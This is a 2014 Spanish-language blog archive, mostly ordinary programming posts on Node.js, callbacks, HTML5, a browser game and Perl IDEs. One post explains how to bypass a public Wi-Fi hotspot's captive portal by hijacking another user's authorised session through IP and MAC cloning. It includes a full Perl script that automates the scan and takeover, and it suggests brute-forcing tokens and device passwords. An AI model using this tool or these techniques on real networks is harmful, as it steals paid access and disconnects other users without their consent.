lunes, 28 de julio de 2014

Aplicación Modelo/ Vista/ Controlador con Node.js, Express, Mysql, Bootstrap


1 Sobre la aplicación

Para probar y adquirir conocimientos me he propuesto realizar una aplicación con Node.js para afianzar cosas que no me quedaban claras.
Si bien, existen muchos materiales y maneras de estructurar las aplicaciones Node.js, he utilizado como base una estructura sugerida por el tutorial http://teknosains.com/i/contoh-modular-nodejs-dan-bootstrap-source-code-inside

1.1 Características implementadas

La aplicación cuenta con las siguientes funciones, he agregado funcionalidades y actualmente sigue en desarrollo:
Acceso por contraseñas a la aplicación.
  • Módulo DashBoard.
  • ABM de usuarios.
  • ABM de grupos.
  • ABM de módulos.
  • ABM de vinculación de módulos y grupos.
  • Módulo ejemplo de APIS por método GET
  • Implementación de permisos para accesos a módulos.

1.2 Para implementar

Existen detalles que no se han trabajado, los archivos podrán servir de ejemplos para cualquiera que desee continuarlos.
  • Cambio de contraseñas de usuarios utilizando cuentas de correos electrónicos.
  • Activación y desactivación de usuarios.
  • Control de fortaleza de contrseñas.
  • Actualmente no se trabajó en los procesos específicos de borrado en cascada de tablas cabeceras y detalles.

2 Estructura del código

La aplicación cuenta con el siguiente modelo de directorios:
  • Layout: directorio con templates que se encuentran en todos los modulos. Aquí se guardan los típicos header, footer, sidebar para dibujarlos en el documento final.
  • Lib: en sub directorios se encuentran los modulos. Por cada módulo que desee agregar se deberá crear un sub directorio.
  • Public: se encuentran los estilos, archivos javascripts y fuentes que son utilizadas por los archivos html.

3 Estructura interna de los módulos

Al momento de realizar altas, bajas y modificaciones. Las mismas son divididas en acciones:
  • Save.
  • Edit.
  • Delete.

La estructura que siguen los archivos se refleja en la siguiente tabla:
Modelo/ Model
nodeDataBase.sql : Base de datos estructurada.






View/ Vista, son los archivos que se encuentran dentro de cada módulo en el directorio /lib
index.ejs : Implementa la vista con la estructura del html principal.
modal_index.ejs : Implementa la vista de una ventana modal para edición de datos. Atención!, los nombres de campos se encuentran relacionados con los scripts en /public/nombreModulo_clientScripts.js






Controlador/ Controller, son los archivos que se encuentran en el directorio /lib
index.js : contiene las rutas y lógica del módulo. El que hacer cuando llega una petición.
process.js : tiene implementada la lógica de los casos. Pequeñas funciones utilizadas en el index.js principal del módulo.






Otros archivos
/Public/js/profiles_clientScripts.js : Funciones de control de campos y otras cosas. Los nombres de campos de los formularios se encuentran relacionados con los scripts presentes en archivos JavaScript del lado del cliente. Estos siguen la modalidad de nombre de módulo seguido por _clientScripts.js
pass.js : Implementación de funciones de encriptación. Este archivo se encuentra en la raíz del proyecto.







4 Flujo de una llamada típica.

  • Cliente con navegador invoca a la página por medio de método GET.
  • Servidor recibe la url solicitada y la procesa por medio de las funciones app.get() en index.js.
  • En index.js se llama a process.js para recuperar datos de la BD utilizando getRowsServer().
  • Obtenidos los datos, desde el archivo index.js se llama a la función render() para dibujar la vista y los datos según la plantilla de index.ejs. Index.ejs, contiene los layouts header.ejs, sidebar.ejs y footer.ejs.
  • El cliente recibe la respuesta con la página desplegada y los datos.

5 Módulo de administración de clientes

El módulo deberá mantener al día los clientes, asignar perfiles y administrar el acceso a las urls del menú.
El módulo deberá poder ser implementado en distintas aplicaciones en forma reutilizable.
Se deberá poder hacer mantenimiento de los usuarios que utilizan la aplicación, los usuarios se encuentran agrupados en grupos. Los grupos se encuentran relacionados con los módulos del sistema.

6 Preparar la base de datos para la aplicación

Teniendo instalado Mysql procedemos de la siguiente forma.

6.1 Pasos para crear base de datos Mysql

mysqladmin create nodeDataBase -p
mysql -u root -p
SET PASSWORD=PASSWORD('miclave');
CREATE DATABASE nodeDataBase;
GRANT ALL ON nodeDataBase.* to usuario@localhost IDENTIFIED BY 'miclave';

* Verificar las reglas del firewall.
La aplicación utiliza el puerto 3720.

7 Fuentes de información





Template de Bootstrap sb-admin http://startbootstrap.com/templates/sb-admin/
Tutorial Teknosains http://teknosains.com/i/contoh-modular-nodejs-dan-bootstrap-source-code-inside


lunes, 30 de junio de 2014

Node.js - Callbacks





1 Callbacks y otras yerbas

En el mundo de Node.js, la lógica se maneja principalmente en forma asíncrona, una diferencia interesante contra otros lenguajes a los que estaba acostumbrado. Donde todo se ejecuta en forma secuencial por default.
Otro punto fue el uso y paso de parámetros, algo que me llamó la atención.
Node maneja dos tipos de formas para la lógica de respuestas en los programas:

  • Callbacks.
  • Event listeners.

El último no se explicará en este artículo, por lo cual se proseguirá con los callbacks.
Los callbacks son funciones para manejar resultados de procesos. Por ejemplo, luego de una lectura de bases de datos, defino un callback para realizar cálculos con las filas recuperadas de la base de datos.
O sea, ejecuto una llamada a una función cualquiera, la llamada devuelve valores a la función callback, dentro de la función callback puedo hacer algo.

A continuación ejemplos.

1.1 Ejemplo 1 – Devolver un valor usando funciones callback

Llamada a función check, recibe como parámetros los valores 1 y 2.
A la vuelta de la función check, se puede procesar el resultado que ha sido colocado en el argumento resultadoCheck de la función callback.

check(1,2,function(resultadoCheck){
 console.log("A
la vuelta de check().resultadoChec=%s",resultadoCheck);
}); 

Dentro de la función check, se debe devolver valores a una función local declarada como parámetro.

function check(req,hash, fn){
 
 console.log("Ejecutando check(%s,%s,
fn)",req,hash); 
 //envio del resultado  
 fn(true);
}; 

1.2 Ejemplo 2 – Devolver varios valores usando funciones callback

El siguiente ejemplo, devuelve dos valores utilizando callback. El primer valor, es una variable que simula ser un estado. El segundo valor, es una variable que simula ser resultados.
//...
var req=0;
operacion(1,function(parUno,parDos){ 
 console.log("check() -> Recibiendo
status=%s result=%s",parUno,parDos); 
 console.log("check() -> uso como global
de variable req=%s",req);   
}); 
//...

Aquí viene la definición de la función. Se devuelven valores como si fuera una llamada a una función, pero la función callback es parte de los parámetros.
function operacion(valorEntradaOperacion,fn){
 //simulan ser valores producidos 
 var status="TERMINADO"; 
 var result=2; 
//...
 fn(status,result);
}

1.3 Ejemplo 3 – Integrador con varios casos

Se puede descargar de


https://github.com/freelanceparaguay/nodeJSExamples

































lunes, 23 de junio de 2014

Saltando protección de un Guest Internet Hot Spot Gateway




1 Disclaimer

Lo que se publica aquí es para fomentar la curiosidad y la tecnología, el autor del documento no se hace responsable del mal uso que cualquiera le pueda dar.

2 El problema, escenario, desarrollo, nudo y desenlace :)

Caminando por la vida..., me tropecé con un hot spot, siiiiii... una red wireless abierta!.
Activé la red wireless y recibí un número de IP por medio del protocolo DHCP y acceso a consultas DNS. Bien, por un momento todo parecía feliz y encaminado pero...(suspenso) al abrir un sitio web con el navegador allí estaba el PORTAL CAUTIVO que pedía contraseñas, en este caso un TOKEN para navegar.
La página a la cual me envió el navegador tenía un dominio tal como http://aplogin.com/?url=www.midireccion.
Oh no!, era un hot spot gateway con muchas capacidades incluidas en su software: APIS remotas, control de usuarios y otras; la curiosidad fue más fuerte y allí comenzó todo lo que motivó este artículo.

2.1 El problema a resolver

  • Navegar por la red de redes sin necesidad de solicitar el token al administrador de la red wireless. O sea, saltar el portal cautivo.

2.2 Descubriendo el escenario

Los pasos realizados para descubrir el escenario.
  • Pruebas con nmap -> nmap -T Aggressive -A -v 192.168.1.1
  • Escucha de tráfico con Wireshark y para observar pedidos de DHCP de otros dispositivos.
  • Utilización de fping -g 192.168.1.0/24 para realizar una verificación de otros dispositivos conectados a la red.
  • Busqueda en internet utilizando sobre el dispositivo gateway. Clave de búsqueda http://aplogin.com/.

2.3 Supuestos utilizados para la búsqueda y resolución

Los caminos tomados para comenzar a realizar las pruebas fueron:
  • Búsqueda de posibles configuraciones débiles en la red (protocolos, contraseñas débiles, etc.)
  • Falta de un administrador dedicado en forma constante para resolver problemas de la red. A veces existen redes descuidadas a las cuales se les presta poca atención :(. O por las mismas características del servicio ciertas redes están sujetas al funcionamiento en ambientes con poco mantenimiento.

En base a lo anterior y con el conocimiento sobre el dispositivo se procedió a:
  • Atacar la aplicación del hot spot para generar tokens válidos para navegar.
  • Atacar la red aplicando técnicas como spoofing o man in the middle.

2.4 Solución... solución... y no problemas... dijo un profe

La solución más rápida y que funcionó fue la de spoofing. Clonar la IP y dirección MAC de una sesión previamente autorizada.
Es probable que el mismo gateway tenga mecanismos para evitar y detectar esta clase de ataques, pero pudo darse esta posibilidad dado que es una red pública y es visitada normalmente por muchísimas personas para utilizar sus servicios. Por lo cual está sujeta constantemente a varias clases de dispositivos.
Es un aprovechamiento de configuraciones no tan estrictas antes que una falla propia del dispositivo.
Al principio se hizo de forma manual, luego entendiendo el funcionamiento se codificó un script Perl para resolverlo de manera automatizada.
Aclaración: este ataque deja fuera, o compite directamente con la máquina real que adquirió el IP primeramente, dado que se usurpa la sesión activa.

El script Perl puede ser descargado en https://github.com/freelanceparaguay/buscaIP

2.5 Temas a investigar relacionados

Alguien que quiera seguir indagando puede utilizar los siguientes items:

Mejorar el script.
  • Validación e parámetros por ejemplo: direcciones de red, detección de redes en Linux/ Unix Windows y otros sistemas operativos.
  • Mejorar la portabilidad del script para otros sistemas operativos.
  • Trabajar el script para que pueda ejecutarse desde cuentas normales y no justamente desde cuentas con acceso root.
  • Crear un daemon para que cuando fenezca el token de navegación verifique otra IP autorizada para navegar.
  • Eliminar la dependencia de comandos propios de Linux/Unix y otras aplicaciones y construir módulos con funciones propias de Perl.
  • Generar un listado de direcciones Ip's autorizadas para navegar en un determinado instante.

Aplicación del hot spot.
  • Probar ataques de fuerza bruta al formulario del hot spot generando tokens para nevagación.
  • Probar ataques de desconexión utilizando las APIS del hot spot.
  • Probar ataques de desconexión utilizando parámetros POST.
  • Probar ataques de fuerza bruta para obtener el password del dispositivo.

Configuraciones del dispositivo
  • Mejorar las opciones de configuración realizando ajustes necesarios para evitar clonado de MACs.


3 Extras

3.1 Apéndice - Sistemas hot spot marca Guest Internet Solutions

Visitando la página del fabricante, se pueden observar muchas características que hacen de los productos ofrecidos muy buenos candidatos para ser elegidos al momento de administrar redes wireless.
También, las aplicaciones de administración se encuentran bien trabajadas y cubren una amplia gama de casos en lo que se utilizan accesos a Internet, tanto pagos como gratuitos.
Demuestran ser productos robustos al momento de mantenerse en funcionamiento.
Incluso se ofrece una demo online sobre el software de administración que puede ser visitada en http://www.guest-internet.com/demo/password.html.
Características interesantes para programadores:
  • Ofrece acceso a APIS a nivel programación facilitando el control del hot spot desde otras aplicaciones.

3.2 Apéndice – Código fuente del script

https://github.com/freelanceparaguay/buscaIP

.
#!/usr/bin/perl
############################################################
# Junio 2014
# http://otroblogdetecnologias.blogspot.com
# buscadorHotSpot.pl
#
# Ejecutar desde una cuenta con acceso a cambios de configuraciones
# de red, o desde una cuenta root.
#
# Script que encuentra numeros de IP's validos para un
# rango dado.
# Dependencia de los comandos Unix
# fping -> utilidad para realizar barridos de IPs http://fping.sourceforge.net/
# sort -> ordenamiento de archivos de texto
# ifconfig -> configuracion de red en Unix/Linux
#
############################################################
use LWP::UserAgent;
use HTTP::Request;

############################################################
# Obtiene un listado de los numeros de IPs asignados en la red
# Guarda en un archivo el resultado
############################################################
sub getIpRange{
my ($ipRangeF,$maskF,$listFileF)=@_;
my $tempFileF="temp.txt";
my $errFileF="error.txt";
print "SCANNING IP's ==>\n";
system("/usr/sbin/fping -a -g $ipRangeF/$maskF 1>$tempFileF 2>$errFileF");
system("/usr/bin/sort $tempFileF > $listFileF");
}
############################################################
# Obtiene numeros de IPs de un listado previamente generado
# y lo recorre hasta encontrar la IP autorizada para navegar
############################################################
sub getIpsFromList{
my($interfaceF, $maskF, $listFileF, $urlSeekF, $fileHTMLPage, $signingConnectedF,$signingUnConnectedF)=@_;
my $ipToTestF;
my $count=0;
open(FILE_LIST_IP,"<",$listFileF) or die;
while(){
$ipToTestF=$_;
if($count!=0){
print "Testeando IP ==> $ipToTestF \n";
########################################
configureNet($interfaceF,$ipToTestF,$maskF);
testPage($urlSeekF,$fileHTMLPage);
if(&parseConect($fileHTMLPage,$signingConnectedF,$signingUnConnectedF)){
print "====> IP AUTORIZADA-> $ipToTestF\n";
print "= Navegador listo y a utilizar internet!\n";
exit(0);
}
########################################
}
$count++;
}
close(FILE_LIST_IP);
}
############################################################
# Configura la red con un numero de ip especifico
############################################################
sub configureNet{
my($interfaceF,$ipF,$maskF)=@_;
system("/usr/sbin/ifconfig $interfaceF $ipF");
}

############################################################
# Realiza una conexion al sitio del HOT SPOT
############################################################
sub testPage{
my ($urlBuscar,$archivo)=@_;
############################################
my $ua=LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0");

my $req=HTTP::Request->new(GET=>$urlBuscar);
my $response= $ua->request($req);
my $content=$response->content();
############################################
# abrir archivo segun parametro
open(FH,">",$archivo);
############################################
print FH $content;
close(FH);
}
############################################################
# Verifica si el sitio visitado ha devuelto AUTORIZADO o
# NO AUTORIZADO
############################################################
sub parseConect{
my($fileParseF,$signingConnected,$signingUnConnected)=@_;
my $content;
my $flagToReturn=-1;
open(FH,"<",$fileParseF)or die;
############################################
while (){
chomp;
#del archivo temporal obtiene las lineas con arroba
if (/$signingUnConnected/) {
$content=$_;
#NO AUTORIZADO
$flagToReturn=0;
}
if (/$signingConnected/){
$content=$_;
#AUTORIZADO
$flagToReturn=1;
}
}
close(FH);
$flagToReturn;
}
############################################################
# Programa principal
############################################################
#################################################
#Parametros necesarios para configurar el script
my $ipRange="192.168.90.0";
my $ipMask="24";
my $listFileName="ipRange.txt";
my $interface="enp1s0f2";
my $urlToTest="http://aplogin.com/?url=http://www.google.com";
my $fileHTMLDownload="pagina.html";
# Firma que indica que se encuentra autorizado
#Unlimited
my $firmaConnected="Unlimited";
# Firma que indica que no se encuentra autorizado para navegar
my $firmaUnConnected="code";
#################################################
print "##################################################\n";
print "http://otroblogdetecnologias.blogspot.com\n";
print "by Juan Carlos Miranda - Junio 2014\n";
print "Bypass de HOT SPOT. Busqueda de IPs autorizadas en redes WIFI con HOT SPOTs\n";
print "##################################################\n";
getIpRange($ipRange,$ipMask,$listFileName);
getIpsFromList($interface,$ipMask,$listFileName,$urlToTest,$fileHTMLDownload,$firmaConnected,$firmaUnConnected);
############################################################
# Fin Programa principal
############################################################

4 Fuentes de información

Información sobre el producto

Guest Internet Solutions http://www.guest-internet.com/
Guest Internet Solutions - Products http://www.guest-internet.com/guest_internet_hotspot_products.html
Interfaz demo de Guest Internet Solutions. http://www.guest-internet.com/demo/password.html
Herramientas
Fping http://www.fping.org/
Nmap http://nmap.org/book/man.html
Wireshark http://www.wireshark.org/
Perl http://www.perl.org/
Perl IDE http://perlide.org/


martes, 17 de junio de 2014

Iniciando con HTML5

HTML5

Parte I- INTRODUCCIÓN

Basa su sintaxis en un elemento de base al que llamamos etiqueta. 
Está compuesto por etiquetas y texto, que definen los elementos del documento, como enlaces, párrafos, imágenes, etc.

Partes de un documento HTML
Definido por: <html>  </html>
Encabezado <header>  </header> 
Cuerpo <body>  </body>
Enlaces <nav> </nav>
Secciones <section> </section>
Pie <footer> </footer>
Articulo <article> </article>
Otros <aside> </aside>

Formateo básico
Párrafo <p>  </p>
Negrita <b> </b>
Itálica o cursiva <i> </i>
Subrayado <u> </u> tener cuidado con su utilización ya que puede confundirse con enlaces.
Supraíndices <sup> </sup>
Subíndices <sub> </sub>

Alineación de párrafo
Utilización del atributo align  (etiqueta atributo) 
<p align="center"> </p>
<p align="right"> </p>
<p align="left"> </p> (valor por defecto)

Encabezado
Tamaño de letra que utilizan <h1>  </h1>  <h6>  </h6>  (implica separación de párrafo, es decir, párrafo independiente)

Parte II- EXPLICACIÓN Y EJEMPLO

<body> </body>
Con esta directiva se delimita el cuerpo del documento, que es el contenedor para todos los elementos visibles para el usuario como ser párrafos, imágenes, listas, etc.









<section> </section>
Con la directiva <section> se puede delimitar una área dentro de un documento Html, área que queremos resaltar por cualquier motivo. Es una directiva nueva en Html y funciona igual como la directiva <div>. 

Su introducción en Html se debe a que existían demasiadas directivas <div> in los documentos html. 

Su presencia, estructura mejor el código html de punto de vista estético y visual, disminuyendo en este modo la presencia de los <div>. Lógicamente, por la delimitación de un área con la directiva <section>, a este último tendría que dar un nombre utilizando los atributos "id" o "class" con el fin de su identificación posterior para formatearla. En el ejemplo que hay abajo, el párrafo esta delimitado por la directiva <section> llamada "seccionA"











<nav> </nav>
Esta directiva relativamente nueva en HTML es utilizada como contenedor para englobar elementos de navegación en un documento HTML. Los elementos de navegación pueden ser el  menú principal, el menú lateral, etc. Su introducción se debe a que existían demasiadas directivas <div> en los documentos. Su presencia delimita la navegación de la página web, proporcionando una mejor vista del código HTML.

Al hablar de elementos de navegación necesariamente tenemos que mencionar la etiqueta <a> </a> ya que la misma define un hipervínculo. El atributo más importante del elemento <a> es el atributo href, que indica el destino del vínculo.









Si se establece el atributo de destino "_blank" el enlace se abrirá en una nueva ventana/pestaña.

<article> </article>
La directiva <article> también relativamente nueva en HTML, delimita o define el contenidod e una página web de una fuente externa. El contenido puede ser un artículo de prensa de un proveedor externo, o un texto de un web o blog, etc.

También podría utilizarse la directiva <div> pero se perfila el uso de <article> a fin de evitar las repeticiones de su uso y facilitar de esta manera el trabajo de los desarrolladores



martes, 13 de mayo de 2014

Tatu VS. Bugs, programado en HTML5 Y JavaScript


Creo que la mejor forma de comenzar a aprender un lenguaje, o varios es hacer un proyecto.
Comencé con algo propio planteándome lo que muchos alguna vez se preguntaron. ¿Puedo hacer un juego?
Me obligó a aprender HTML5, JavaScript, CSS3, técnicas sobre Game Development recordar ecuaciones de la recta, trigonometría y otras cosas.


Casi terminado, montado para la plataforma Facebook, el juego programado en HTML5 y Javascript ya está en funcionamiento.
Se agregarán mejoras, un juego básico con muchas ganas de crecer.

Las primeras versiones se publicaron en Mozilla Developer bajo este enlace

La app en Facebook se encuentra alojada en  https://apps.facebook.com/tatuvsbugs  y desde la web en  http://tatuvsbugs.parseapp.com/




IDE's para Perl


IDE's para Perl



1 ¿Que puedo utilizar para programar en Perl?

Me pasó algo cuando comencé a realizar los primeros ejemplos en Perl, realmente no tenía un editor con el cual me sintiera a gusto.
Comencé utilizando Gedit (Linux), en algunas ocasiones Notepad++ (Windows), a veces con el Vim (Linux), pero la verdad es que si tienen ganas de codificar lo pueden hacer hasta con el Notepad o cualquier editor, Pico, Nano etc.
Luego de un tiempo y mal acostumbrado por el NetBeans, busqué algo que me permitiera crear archivos con plantillas y verificar la sintaxis y colorearla. Lo que encontré fue Padre el IDE para Perl Free.
Para codificar en Perl, me resultó bastante cómodo y amigable.
En Fedora se lo puede instalar haciendo uso de yum con la siguiente línea:

yum install padre.

Pueden descargarlo desde el sitio web oficial http://padre.perlide.org/.
En un artículo de Perl Monks (What's the best Perl IDE?) , se hacía referencia a otros IDE's la lista pasa mas o menos por lo siguiente:

Hablo solamente de mi poca experiencia con Perl, para mí fue muy útil Padre IDE por lo siguiente:
  • Me ayudó con la sintaxis.
  • Pude hacer plantillas.
  • Cuenta con ejemplos.
Existe una página dedicada a este tema, dado que muchos consultan el mismo tema, pueden visitarla en http://perlide.org/.
También pueden utilizar el entorno para Perl en ambientes Windows mas info en http://strawberryperl.com/.

Aprender Perl?
Más y más sobre aprender Perl, http://www.perl.org/learn.html

2 Fuentes de información

Perl Monks (What's the Best Perl IDE) http://www.perlmonks.org/?node_id=639314
Perl IDE http://perlide.org/